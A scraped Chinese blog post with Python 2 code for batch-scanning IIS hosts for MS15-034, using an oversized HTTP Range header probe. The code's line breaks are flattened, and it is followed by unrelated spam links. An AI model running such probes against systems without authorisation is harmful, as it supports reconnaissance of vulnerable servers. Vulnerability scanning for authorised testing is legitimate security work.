【Python】实现漏洞扫描器之MS15-034漏洞批量扫描+源码分析

来源:互联网 发布:windows徽标键在哪 编辑:程序博客网 时间:2024/05/09 00:59
    ms15-034漏洞

影响以下版本操作系统的IIS服务器

Windows 7

Windows 8

Windows server 2008

Windows server 2012

知道其严重性后,在扫描器插件加上这一模块

利用代码如下  需要导入socket模块  

其中f2是打开一个文件逐行阅读

f3.write写入本地 代码我从我的扫描器测试版直接截取过来的 不过并不影响阅读


def MS15034():    print '-----------------------------------------------------------'    print '----------------------MS15-034 Scan------------------------'    print '-----------------------------------------------------------'    ipAddr = url    hexAllFfff = "18446744073709551615"    req1 = "GET / HTTP/1.0\r\n\r\n"   #开始配置好相关发送请求    req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"    try:                    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   #建立一个客户端用来接受信息                    client_socket.connect((ipAddr, 80))  #连接到目标主机的80端口                    client_socket.send(req1)    #发送数据                    boringResp = client_socket.recv(1024)   #接受的数据                    if "Microsoft" not in boringResp:    #判断是否是iis服务器                                    print "[*]IS Not IIS SERVER"                    client_socket.close()                    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  #如上                    client_socket.connect((ipAddr, 80))                    client_socket.send(req)                    goodResp = client_socket.recv(1024)                    if "Requested Range Not Satisfiable" in goodResp:  #判断是否存在漏洞                                    print unicode("[+]发现主机可能存在MS15-034漏洞",'gbk')                                    f3.write(ipAddr + '        ' + 'MS15-034' )                    elif " The request has an invalid header name" in goodResp:                                    print '[+]pass..........'                    else:                                    print '[+]pass..........'                                    pass                                        except Exception,e:                    print e for ms15 in f2:    url = ms15.strip('\n')    url=str(url.strip())    url = url.split('//',2)[1]   #将http://  去掉     host = socket.gethostbyname(url)  #得到ip地址    MS15034()    print unicode('MS15-034扫描完毕!','gbk')    time.sleep(2)



0 0
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 婴儿发烧37.4度怎么办 小孩发烧37.4度怎么办 20天新生儿低烧怎么办 四个月婴儿低烧怎么办 宝宝追听不好怎么办 2个多月宝宝不追听怎么办 宝宝拒吃奶粉怎么办 婴儿被吓到了怎么办 婴儿脊柱侧弯怎么办 母乳脂肪含量高怎么办 混合喂养宝宝拉肚子怎么办 混合喂养不吃奶粉怎么办 混合喂养宝宝便秘怎么办 混合喂养不吃奶瓶怎么办 混合喂养厌奶粉怎么办 气血虚奶水少怎么办 产后奶水不足怎么办啊 婴儿吐奶瓣和水怎么办 一岁半宝宝频繁喝夜奶怎么办 婴儿腹泻不吃奶怎么办 八个月宝宝脱水怎么办 宝宝呕吐脱水了怎么办 宝宝腹泻没精神怎么办 小孩拉稀没精神怎么办 宝宝拉稀脱水了怎么办 宝宝发烧还拉肚子怎么办 宝宝发烧后腹泻怎么办 吃海鲜拉肚子了怎么办 孕妇吃海鲜腹泻怎么办 稀饭煮焦了怎么办 8月宝宝拉肚子怎么办 满月宝宝38度怎么办 未满月婴儿拉稀怎么办 未满月宝宝拉稀怎么办 满月的宝宝拉稀怎么办 十个月小孩拉肚子怎么办 十个月宝宝脱水怎么办 宝宝拉肚子老不好怎么办 孩子拉稀老不好怎么办 宝宝拉肚子发呕怎么办 刚出生婴儿拉肚子怎么办